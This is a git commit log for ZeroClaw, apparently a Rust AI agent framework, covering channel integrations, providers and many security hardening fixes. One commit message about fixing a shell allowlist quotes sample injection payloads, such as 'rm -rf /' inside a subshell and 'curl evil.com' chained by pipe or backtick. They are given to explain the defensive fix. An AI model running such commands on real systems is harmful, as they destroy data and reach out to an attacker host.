Rahul Madhav Upakare
29437f21e4
Use of stable lib feature instead of experimental
The is_multiple_of is a new, experimental feature  introduced to the Rust standard library, but it is not yet stabilized. It requires the nightly compiler to work. Therefore, replacing it with the equivalent modulo operator (%) from stable release.
2026-02-15 01:41:47 +05:30
argenis de la rosa
d7769340a3 feat: add WhatsApp channel to mod.rs and update Cargo.lock
- Register WhatsApp channel in start_channels()
- Add WhatsApp status display in channel doctor
- Update dependencies after merge
2026-02-14 14:59:22 -05:00
argenis de la rosa
4e6da51924 merge: resolve conflicts between feat/whatsapp-email-channels and main
- Keep main's WhatsApp implementation (webhook-based, simpler)
- Preserve email channel fixes from our branch
- Merge all main branch updates (daemon, cron, health, etc.)
- Resolve Cargo.lock conflicts
2026-02-14 14:59:16 -05:00
argenis de la rosa
3bb5deff37 feat: add Google Gemini provider with CLI token reuse support
- Add src/providers/gemini.rs with support for:
  - Direct API key (GEMINI_API_KEY env var or config)
  - Gemini CLI OAuth token reuse (~/.gemini/oauth_creds.json)
  - GOOGLE_API_KEY environment variable fallback
- Register gemini provider in src/providers/mod.rs with aliases: gemini, google, google-gemini
- Add Gemini to onboarding wizard with:
  - Auto-detection of existing Gemini CLI credentials
  - Model selection (gemini-2.0-flash, gemini-1.5-pro, etc.)
  - API key URL and env var guidance
- Add comprehensive tests for Gemini provider
- Fix pre-existing clippy warnings in email_channel.rs and whatsapp.rs

Closes #XX (Gemini CLI token reuse feature request)
2026-02-14 14:58:19 -05:00
argenis de la rosa
1862c18d10 fix: address PR #37 review issues
- Add missing EmailConfig struct with serde derives and defaults
- Register email_channel module in mod.rs with exports
- Fix IMAP tag reuse (RFC 3501 violation) using incrementing counter
- Fix email sender validation logic (clearer domain vs full email matching)
- Fix mail_parser API usage (MessageParser::default().parse())
- Fix WhatsApp allowlist matching (normalize phone numbers)
- Fix WhatsApp health_check (don't treat 404 as healthy)
- Fix WhatsApp listen() to keep task alive (prevent channel bus closing)
- Add missing dependencies: lettre, mail-parser, rustls-pki-types, tokio-rustls, webpki-roots
- Remove unused imports

All 665 tests pass.
2026-02-14 14:39:43 -05:00
argenis de la rosa
27b7df53da feat: add Windows support for skills symlinks and secret key permissions
- Add Windows symlink support in skills/mod.rs with fallback chain:
  1. symlink_dir (requires admin/developer mode)
  2. mklink /J junction (works without admin)
  3. copy_dir_recursive fallback
- Add Windows file permissions in security/secrets.rs using icacls
- Add copy_dir_recursive helper function for non-Unix platforms

Fixes #28
2026-02-14 14:07:41 -05:00
argenis de la rosa
5476195a7f refactor: remove AIEOS identity support
- Remove src/identity/ directory (aieos.rs, mod.rs)
- Remove IdentityConfig struct and identity field from Config
- Remove build_system_prompt_with_identity and load_aieos_from_config functions
- Remove AIEOS-related imports from channels/mod.rs
- Remove identity module declarations from main.rs and lib.rs
- Remove AIEOS tests from config/schema.rs
- Keep OpenClaw markdown-based identity as the only supported format

This simplifies the codebase by removing unused AIEOS complexity.
All 832 tests pass.
2026-02-14 14:05:14 -05:00
argenis de la rosa
03dd9712ca style: clean up formatting and fix gateway tests
- Remove extra blank line in main.rs
- Format symlink_tests.rs with consistent spacing
- Remove problematic axum-specific security tests from gateway module
- Keep only TCP-compatible tests for gateway functionality
- All 840 tests passing with clean formatting
2026-02-14 13:41:13 -05:00
argenis de la rosa
dbf02291b4 fix: escape AppleScript target parameter in iMessage channel
- Add escape_applescript() function to prevent injection attacks
- Add is_valid_imessage_target() validation for phone/email patterns
- Update send() method to escape both message AND target parameters
- Add 40 comprehensive tests covering injection edge cases
- Addresses CWE-78 (OS Command Injection) vulnerability

Fixes #29
2026-02-14 13:38:13 -05:00
argenis de la rosa
ef4444ba43 fix: resolve build errors and add comprehensive symlink tests
- Fixed E0425 error in src/skills/mod.rs by moving println! inside #[cfg(unix)] block where 'dest' variable is in scope
- Added missing 'identity' field to Config struct initializations in src/onboard/wizard.rs
- Fixed import paths for AIEOS identity functions in src/channels/mod.rs
- Added comprehensive symlink edge case tests in src/skills/symlink_tests.rs
- All 840 tests passing, 0 clippy warnings

Resolves issue #28: skills symlink functionality now works correctly on Unix platforms with proper error handling on non-Unix platforms
2026-02-14 13:37:27 -05:00
argenis de la rosa
acea042bdb feat: add AIEOS identity support and harden cron scheduler security
- Add IdentityConfig with format=openclaw|aieos, aieos_path, and aieos_inline
- Implement AIEOS v1.1 JSON parser and system prompt injection
- Add build_system_prompt_with_identity() supporting both OpenClaw markdown and AIEOS JSON
- Harden cron scheduler with SecurityPolicy checks (command allowlist, forbidden path arguments)
- Skip retries on deterministic security policy violations
- Add comprehensive tests for AIEOS config and cron security edge cases
- Update README with AIEOS documentation and schema overview
- Add .dockerignore tests for build context security validation
2026-02-14 13:26:08 -05:00
argenis de la rosa
76074cb789 fix: run Docker container as non-root user (closes #34)
- Switch to gcr.io/distroless/cc-debian12:nonroot
- Add explicit USER 65534:65534 directive
- Add Docker security CI job verifying non-root UID, :nonroot base, and USER directive
- Document CIS Docker Benchmark compliance in SECURITY.md
- Add tests and edge cases for container security
2026-02-14 13:16:33 -05:00
argenis de la rosa
cc08f4bfff feat: Add full WhatsApp Business Cloud API integration
- Add WhatsApp channel module with Cloud API v18.0 support
- Implement webhook-based message reception and API sending
- Add allowlist for phone numbers (E.164 format or wildcard)
- Add WhatsApp webhook endpoints to gateway (/whatsapp GET/POST)
- Add WhatsApp config schema with TOML support
- Wire WhatsApp into channel factory, CLI, and doctor commands
- Add WhatsApp to setup wizard with connection testing
- Add comprehensive test coverage (47 channel tests + 9 URL decoding tests)
- Update README with detailed WhatsApp setup instructions
- Support text messages only, skip media/status updates
- Normalize phone numbers with + prefix
- Handle webhook verification with Meta challenge-response

All 756 tests pass. Ready for production use.
2026-02-14 13:10:16 -05:00
argenis de la rosa
ec2d5cc93d feat: enhance agent personality, tool guidance, and memory hygiene
- Expand communication style presets (professional, expressive, custom)
- Enrich SOUL.md with human-like tone and emoji-awareness guidance
- Add crash recovery and sub-task scoping guidance to AGENTS.md scaffold
- Add 'Use when / Don't use when' guidance to TOOLS.md and runtime prompts
- Implement memory hygiene system with configurable archiving and retention
- Add MemoryConfig options: hygiene_enabled, archive_after_days, purge_after_days, conversation_retention_days
- Archive old daily memory and session files to archive subdirectories
- Purge old archives and prune stale SQLite conversation rows
- Add comprehensive tests for new features
2026-02-14 11:28:39 -05:00
AARTE
cc2f85058e feat: add WhatsApp and Email channel integrations
- WhatsApp Cloud API channel (Meta Business Platform)
  - Webhook verification, text/media messages, rate limiting
  - Phone number allowlist (empty=deny, *=allow, specific numbers)
  - Health check via API

- Email channel (IMAP/SMTP over TLS)
  - IMAP polling for inbound messages
  - SMTP sending with TLS
  - Sender allowlist (email, domain, wildcard)
  - HTML stripping, duplicate detection

Both implement ZeroClaw's Channel trait directly.
Includes inline unit tests.
2026-02-14 16:14:25 +00:00
Argenis
a41b8f103c
Merge pull request #23 from vrescobar/security/fix-shell-metachar-injection
fix: validate all segments of shell commands against allowlist
2026-02-14 09:07:21 -05:00
Argenis
674eea0dfa
Merge pull request #22 from vrescobar/security/fix-xor-cipher-encryption
fix: replace XOR cipher with ChaCha20-Poly1305 AEAD
2026-02-14 09:00:14 -05:00
Víctor R. Escobar
e6a4166edb fix: validate all segments of shell commands against allowlist
The previous is_command_allowed() only checked the first word of the
command string, but the full string was passed to `sh -c`, which
interprets all shell metacharacters. An attacker (or a prompt-injected
LLM) could bypass the allowlist:

  echo $(rm -rf /)      — subshell hides arbitrary command
  echo `curl evil.com`  — backtick subshell
  ls | curl evil.com    — pipe to unlisted command
  ls && rm -rf /        — chain via &&
  ls\nrm -rf /          — newline injection

Now is_command_allowed():
- Blocks subshell operators (backtick, $(, ${)
- Blocks output redirections (>)
- Splits on |, &&, ||, ;, newlines and validates EACH sub-command
- Skips leading env var assignments (FOO=bar cmd)

Legitimate piped commands like `ls | grep foo` still work since both
sides are in the allowlist.

CWE-78 / HIGH-1

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 13:55:09 +01:00
Víctor R. Escobar
1c8fe79238 fix: address PR review — rejection sampling and robust test
- Use rejection sampling to eliminate modulo bias in generate_code().
  Values above the largest multiple of 1_000_000 in u32 are discarded
  and re-drawn (~0.02% rejection rate).
- Make generate_code_is_not_deterministic test robust against the
  1-in-10^6 collision chance by trying 10 pairs instead of one.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 13:48:36 +01:00
Víctor R. Escobar
152a996b66 fix: replace XOR cipher with ChaCha20-Poly1305 AEAD for secret encryption
The previous secret store used a repeating-key XOR cipher which is
cryptographically broken:
- Deterministic (no nonce) — identical plaintexts produce identical
  ciphertexts
- No authentication — tampered ciphertext decrypts silently
- Vulnerable to known-plaintext attacks (e.g., "sk-" prefix reveals
  key bytes)

Replace with ChaCha20-Poly1305 authenticated encryption:
- Random 12-byte nonce per encryption (non-deterministic)
- Poly1305 authentication tag detects tampering
- Uses the same 32-byte key file (no migration needed for keys)

New ciphertext format is `enc2:<hex(nonce || ciphertext || tag)>`.
Legacy `enc:` values (XOR) are still decryptable for backward
compatibility during migration.

Adds chacha20poly1305 0.10 crate (pure Rust, no C dependencies).

New tests: tamper detection, wrong-key rejection, nonce uniqueness,
truncation handling, legacy XOR backward compatibility.

CWE-327 / CRIT-1

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 13:43:02 +01:00
Víctor R. Escobar
15a58eb7da fix: use CSPRNG for pairing code generation
Replace DefaultHasher + SystemTime + process::id() with UUID v4
(backed by getrandom/urandom CSPRNG) for pairing code generation.

The previous implementation used predictable entropy sources
(system time to ~1s precision and process ID) with a non-cryptographic
hash (SipHash), making the 6-digit code brute-forceable.

The new implementation extracts 4 random bytes from a UUID v4
(which uses the OS CSPRNG) and derives the 6-digit code from those.
No new dependencies added — reuses existing uuid crate.

Adds a test verifying non-deterministic output.

Ref: CWE-330 (Use of Insufficiently Random Values)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 13:29:58 +01:00
argenis de la rosa
3d91c40970 refactor: simplify CLI commands and update architecture docs
1. Simplify CLI:
   - Make 'onboard' quick setup default (remove --quick)
   - Add --interactive flag for full wizard
   - Make 'status' detailed by default (remove --verbose)
   - Remove 'tools list/test' and 'integrations list' commands
   - Add 'channel doctor' command
2. Update Docs:
   - Update architecture.svg with Channel allowlists, Browser allowlist, and latest stats
   - Update README.md with new command usage and browser/channel config details
3. Polish:
   - Browser tool integration
   - Channel allowlist logic (empty = deny all)
2026-02-14 05:17:16 -05:00
argenis de la rosa
a74a774ad5 polish: wizard secure defaults, full summary, architecture SVG update
Wizard:
- Default autonomy now Supervised + workspace_only=true (was Full + false)
- print_summary shows Tunnel, Composio, Secrets, Gateway status
- run_quick_setup shows Gateway, Tunnel, Composio in summary
- Quick setup next steps include gateway command
- Removed unused AutonomyLevel import

Architecture SVG:
- Sandbox section: 'Default: Supervised + workspace-only'
- Wizard section: 'Live connection testing | Secure defaults'
- Step 3: '7 channels + live test', Step 7: '8 workspace MD files'
- Wizard output summary line listing all 9 config areas
- Footer: 8 traits, 17,800+ lines, 0 clippy warnings

README:
- Config example clarifies supervised + workspace_only are defaults

1,017 tests, 0 clippy warnings, cargo fmt clean.
2026-02-14 04:00:01 -05:00
argenis de la rosa
1fd51f1984 fix: resolve all clippy --all-targets warnings across 15 files
- gateway/mod.rs: move send_json before test module (items_after_test_module)
- memory/vector.rs: fix float_cmp, cast_precision_loss, approx_constant
- memory/chunker.rs: fix format_collect, format_push_string, write_with_newline
- memory/sqlite.rs: fix useless_vec
- heartbeat/engine.rs: fix format_collect, write_with_newline
- config/schema.rs: fix needless_raw_string_hashes
- tools/composio.rs: fix needless_raw_string_hashes
- integrations/registry.rs: fix uninlined_format_args, unused import
- tunnel/mod.rs: fix doc_markdown
- skills/mod.rs: allow similar_names in test module
- channels/cli.rs: fix unreadable_literal
- observability/mod.rs: fix manual_string_new
- runtime/mod.rs: fix manual_string_new
- examples/custom_memory.rs: add Default impl (new_without_default)
- examples/custom_channel.rs: fix needless_borrows_for_generic_args
2026-02-14 03:52:57 -05:00
argenis de la rosa
589921bbf8 feat: add --quick flag to onboard for non-interactive setup
- zeroclaw onboard --quick: generates config with sensible defaults, zero prompts
- zeroclaw onboard --quick --api-key sk-... --provider anthropic: one-liner setup
- Fixes wizard hanging in non-TTY / IDE terminals
- Scaffolds workspace files, prints summary, shows next steps
- 1,017 tests, 0 clippy warnings
2026-02-14 03:19:00 -05:00
argenis de la rosa
f8befafe4d feat: add Composio tool provider + encrypted secret store + wizard integration
- src/tools/composio.rs: ComposioTool implementing Tool trait
  - list/execute/connect actions via Composio API (1000+ OAuth apps)
  - 60s timeout, proper error handling, JSON schema for LLM
  - 12 tests covering schema, validation, serde, error paths

- src/security/secrets.rs: SecretStore for encrypted credential storage
  - XOR cipher with random 32-byte key stored in ~/.zeroclaw/.secret_key
  - enc: prefix for encrypted values, plaintext passthrough (backward compat)
  - Key file created with 0600 permissions (Unix)
  - 16 tests: roundtrip, unicode, long secrets, corrupt hex, permissions

- src/config/schema.rs: ComposioConfig + SecretsConfig structs
  - Composio: enabled (default: false), api_key, entity_id
  - Secrets: encrypt (default: true)
  - Both with serde(default) for backward compatibility
  - 8 new config tests

- src/onboard/wizard.rs: new Step 5 'Tool Mode & Security'
  - Sovereign (local only) vs Composio (managed OAuth) selection
  - Encrypted secret storage toggle (default: on)
  - 7-step wizard (was 6)

- src/tools/mod.rs: all_tools() now accepts optional composio_key
- src/agent/loop_.rs: wires Composio key from config into tool registry
- README.md: Composio integration + encrypted secrets documentation

1017 tests, 0 clippy warnings, cargo fmt clean.
2026-02-14 02:41:29 -05:00
argenis de la rosa
976c5bbf3c hardening: fix 7 production weaknesses found in codebase scan
Scan findings and fixes:

1. Gateway buffer overflow (8KB → 64KB)
   - Fixed: Increased request buffer from 8,192 to 65,536 bytes
   - Large POST bodies (long prompts) were silently truncated

2. Gateway slow-loris attack (no read timeout → 30s)
   - Fixed: tokio::time::timeout(30s) on stream.read()
   - Malicious clients could hold connections indefinitely

3. Webhook secret timing attack (== → constant_time_eq)
   - Fixed: Now uses constant_time_eq() for secret comparison
   - Prevents timing side-channel on webhook authentication

4. Pairing brute force (no limit → 5 attempts + 5min lockout)
   - Fixed: PairingGuard tracks failed attempts with lockout
   - Returns 429 Too Many Requests with retry_after seconds

5. Shell tool hang (no timeout → 60s kill)
   - Fixed: tokio::time::timeout(60s) on Command::output()
   - Commands that hang are killed and return error

6. Shell tool OOM (unbounded output → 1MB cap)
   - Fixed: stdout/stderr truncated at 1MB with warning
   - Prevents memory exhaustion from verbose commands

7. Provider HTTP timeout (none → 120s request + 10s connect)
   - Fixed: All 5 providers (OpenRouter, Anthropic, OpenAI,
     Ollama, Compatible) now have reqwest timeouts
   - Ollama gets 300s (local models are slower)

949 tests passing, 0 clippy warnings, cargo fmt clean
2026-02-14 01:47:08 -05:00
argenis de la rosa
c8d4ceee71 feat: add port 0 (random port) support for gateway security
When --port 0 is passed, the OS assigns a random available ephemeral
port (typically 49152-65535). The actual port is resolved after binding
and used for all log output and tunnel forwarding.

This prevents port-scanning attacks against a known fixed port.

Changes:
  src/gateway/mod.rs — bind first, extract actual_port from listener,
    use actual_port for addr formatting and tunnel.start()
  src/main.rs — update CLI help text, conditional log for port=0

8 new edge case tests:
  - port_zero_binds_to_random_port
  - port_zero_assigns_different_ports
  - port_zero_assigns_high_port
  - specific_port_binds_exactly
  - actual_port_matches_addr_format
  - port_zero_listener_accepts_connections
  - duplicate_specific_port_fails
  - tunnel_gets_actual_port_not_zero

943 tests passing, 0 clippy warnings, cargo fmt clean
2026-02-14 01:21:55 -05:00
argenis de la rosa
b2aff60722 security: pass all 4 checklist items — gateway not public, pairing required, filesystem scoped, tunnel access
Security checklist from @anshnanda / @ledger_eth:
   Gateway not public — default bind 127.0.0.1, refuses 0.0.0.0 without
     tunnel or explicit allow_public_bind=true in config
   Pairing required — one-time 6-digit code printed on startup, exchanged
     for bearer token via POST /pair, enforced on all /webhook requests
   Filesystem scoped (no /) — workspace_only=true by default, null byte
     injection blocked, 14 system dirs + 4 sensitive dotfiles in forbidden
     list, is_resolved_path_allowed() for symlink escape prevention
   Access via Tailscale/SSH tunnel — tunnel system integrated, gateway
     refuses public bind without active tunnel

New files:
  src/security/pairing.rs — PairingGuard with OTP generation, constant-time
    code comparison, bearer token issuance, token persistence

Changed files:
  src/config/schema.rs — GatewayConfig (require_pairing, allow_public_bind,
    paired_tokens), expanded AutonomyConfig forbidden_paths
  src/config/mod.rs — export GatewayConfig
  src/gateway/mod.rs — public bind guard, pairing enforcement on /webhook,
    /pair endpoint, /health no longer leaks version/memory info
  src/security/policy.rs — null byte blocking, is_resolved_path_allowed(),
    expanded forbidden_paths (14 system dirs + 4 dotfiles)
  src/security/mod.rs — export pairing module
  src/onboard/wizard.rs — wire gateway config

935 tests passing (up from 905), 0 clippy warnings, cargo fmt clean
2026-02-14 00:39:51 -05:00
argenis de la rosa
ce4f36a3ab test: 130 edge case tests + fix NaN/Infinity bug in cosine_similarity
Edge cases found 2 real bugs:
- cosine_similarity(NaN, ...) returned NaN instead of 0.0
- cosine_similarity(Infinity, ...) returned NaN instead of 0.0
Fix: added is_finite() guards on denom and raw ratio.

New edge case tests by module:
- vector.rs (18): NaN, Infinity, negative vectors, opposite vectors clamped,
  high-dimensional (1536), single element, both-zero, non-aligned bytes,
  3-byte input, special float values, NaN roundtrip, limit=0, zero weights,
  negative BM25 scores, duplicate IDs, large normalization, single item
- embeddings.rs (8): noop embed_one error, empty batch, multiple texts,
  empty/unknown provider, custom empty URL, no API key, trailing slash, dims
- chunker.rs (11): headings-only, deeply nested ####, long single line,
  whitespace-only, max_tokens=0, max_tokens=1, unicode/emoji, FTS5 special
  chars, multiple blank lines, trailing heading, no content loss
- sqlite.rs (23): FTS5 quotes/asterisks/parens, SQL injection, empty
  content/key, 100KB content, unicode+emoji, newlines+tabs, single char
  query, limit=0/1, key matching, unicode query, schema idempotency,
  triple open, ghost results after forget, forget+re-store cycle,
  reindex empty/twice, content_hash empty/unicode/long, category
  roundtrip with spaces/empty, list custom category, list empty DB

869 tests passing, 0 clippy warnings, cargo-deny clean
2026-02-14 00:28:55 -05:00
argenis de la rosa
0e7f501fd6 feat: full-stack search engine — FTS5, vector search, hybrid merge, embedding cache, chunker
The Full Stack (All Custom):
- Vector DB: embeddings stored as BLOB, cosine similarity in pure Rust
- Keyword Search: FTS5 virtual tables with BM25 scoring + auto-sync triggers
- Hybrid Merge: weighted fusion of vector + keyword results (configurable weights)
- Embeddings: provider abstraction (OpenAI, custom URL, noop fallback)
- Chunking: line-based markdown chunker with heading preservation
- Caching: embedding_cache table with LRU eviction
- Safe Reindex: rebuild FTS5 + re-embed missing vectors

New modules:
- src/memory/embeddings.rs — EmbeddingProvider trait + OpenAI + Noop + factory
- src/memory/vector.rs — cosine similarity, vec↔bytes, ScoredResult, hybrid_merge
- src/memory/chunker.rs — markdown-aware document splitting

Upgraded:
- src/memory/sqlite.rs — FTS5 schema, embedding column, hybrid recall, cache, reindex
- src/config/schema.rs — MemoryConfig expanded with embedding/search settings
- All callers updated to pass api_key for embedding provider

739 tests passing, 0 clippy warnings (Rust 1.93.1), cargo-deny clean
2026-02-14 00:00:23 -05:00
argenis de la rosa
4fceba0740 fix: CI failures — update deny.toml for cargo-deny v2, fix clippy derivable_impls
- deny.toml: remove deprecated fields (vulnerability, notice, unlicensed, copyleft)
  that were removed in cargo-deny v2. Add CDLA-Permissive-2.0 for webpki-roots.
- security/policy.rs: replace manual Default impl for AutonomyLevel with
  #[derive(Default)] + #[default] attribute (clippy::derivable_impls on Rust 1.93)

657 tests passing, 0 clippy warnings (Rust 1.93.1), cargo-deny clean
2026-02-13 17:09:22 -05:00
argenis de la rosa
cc6fc6ce8d feat: BYOP provider + tunnel wizard + SVG architecture diagram
Custom Provider (Bring Your Own):
- Add custom:URL format to provider factory (any OpenAI-compatible API)
- Works with LiteLLM, LocalAI, vLLM, text-generation-webui, LM Studio, etc.
- Example: default_provider = 'custom:http://localhost:1234'
- 4 new tests for custom provider (URL, localhost, no-key, empty-URL error)

Setup Wizard (6 steps, 5-year-old friendly):
- Add '🔧 Custom' tier to provider selection with guided BYOP flow
- Add Step 4: Tunnel setup (Cloudflare, Tailscale, ngrok, Custom, or skip)
- Emoji labels on all provider categories for visual clarity
- Renumber wizard to 6 steps (was 5)

Architecture Diagram:
- New SVG diagram at docs/architecture.svg (dark theme, color-coded)
- Shows: Chat Apps → Security → Agent Loop → AI Providers
- Shows: Tunnel layer, Sandbox, Context, Heartbeat/Cron
- Shows: Setup Wizard 6-step flow at bottom
- Replace ASCII art in README with SVG embed

657 tests passing, 0 clippy warnings, cargo fmt clean
2026-02-13 16:32:27 -05:00
argenis de la rosa
390cbc0a6c feat: agnostic tunnel system — bring your own tunnel provider
New Tunnel trait + 5 implementations:
- NoneTunnel: local-only, no external exposure (default)
- CloudflareTunnel: wraps cloudflared binary, extracts public URL
- TailscaleTunnel: tailscale serve (tailnet) or funnel (public)
- NgrokTunnel: wraps ngrok binary, supports custom domains
- CustomTunnel: user-provided command with {port}/{host} placeholders

Config schema:
- [tunnel] section with provider selector
- Provider-specific sub-configs: cloudflare, tailscale, ngrok, custom
- Backward compatible (serde default = "none")

Gateway integration:
- Tunnel starts automatically on 'zeroclaw gateway'
- Prints public URL on success, falls back to local on failure

20 new tests (factory, constructors, NoneTunnel async start/health)
649 tests passing, 0 clippy warnings, cargo fmt clean
2026-02-13 16:25:01 -05:00
argenis de la rosa
bc31e4389b style: cargo fmt — fix all formatting for CI
Ran cargo fmt across entire codebase to pass CI's cargo fmt --check.
No logic changes, only whitespace/formatting.
2026-02-13 16:03:50 -05:00
argenis de la rosa
a5887ad2dc docs+tests: architecture diagram, security docs, 75 new edge-case tests
README:
- Add ASCII architecture flow diagram showing all layers
- Add Security Architecture section (Layer 1: Channel Auth,
  Layer 2: Rate Limiting, Layer 3: Tool Sandbox)
- Update test count to 629

New edge-case tests (75 new):
- SecurityPolicy: command injection (semicolon, backtick, dollar-paren,
  env prefix, newline), path traversal (encoded dots, double-dot in
  filename, null byte, symlink, tilde-ssh, /var/run), rate limiter
  boundaries (exactly-at, zero, high), autonomy+command combos,
  from_config fresh tracker
- Discord: exact match not substring, empty user ID, wildcard+specific,
  case sensitivity, base64 edge cases
- Slack: exact match, empty user ID, case sensitivity, wildcard combo
- Telegram: exact match, empty string, case sensitivity, wildcard combo
- Gateway: first-match-wins, empty value, colon in value, different
  headers, empty request, newline-only request
- Config schema: backward compat (Discord/Slack without allowed_users),
  TOML roundtrip, webhook secret presence/absence

629 tests passing, 0 clippy warnings
2026-02-13 16:00:15 -05:00
argenis de la rosa
542bb80743 security: harden architecture against Moltbot security model
- Discord: add allowed_users field + sender validation in listen()
- Slack: add allowed_users field + sender validation in listen()
- Webhook: add X-Webhook-Secret header auth (401 on mismatch)
- SecurityPolicy: add ActionTracker with sliding-window rate limiting
  - record_action() enforces max_actions_per_hour
  - is_rate_limited() checks without recording
- Gateway: print auth status on startup (ENABLED/DISABLED)
- 22 new tests (Discord/Slack allowlists, gateway header extraction,
  rate limiter: starts at zero, records, allows within limit,
  blocks over limit, clone independence)
- 554 tests passing, 0 clippy warnings
2026-02-13 15:31:21 -05:00
argenis de la rosa
05cb353f7f feat: initial release — ZeroClaw v0.1.0
- 22 AI providers (OpenRouter, Anthropic, OpenAI, Mistral, etc.)
- 7 channels (CLI, Telegram, Discord, Slack, iMessage, Matrix, Webhook)
- 5-step onboarding wizard with Project Context personalization
- OpenClaw-aligned system prompt (SOUL.md, IDENTITY.md, USER.md, AGENTS.md, etc.)
- SQLite memory backend with auto-save
- Skills system with on-demand loading
- Security: autonomy levels, command allowlists, cost limits
- 532 tests passing, 0 clippy warnings
2026-02-13 12:19:14 -05:00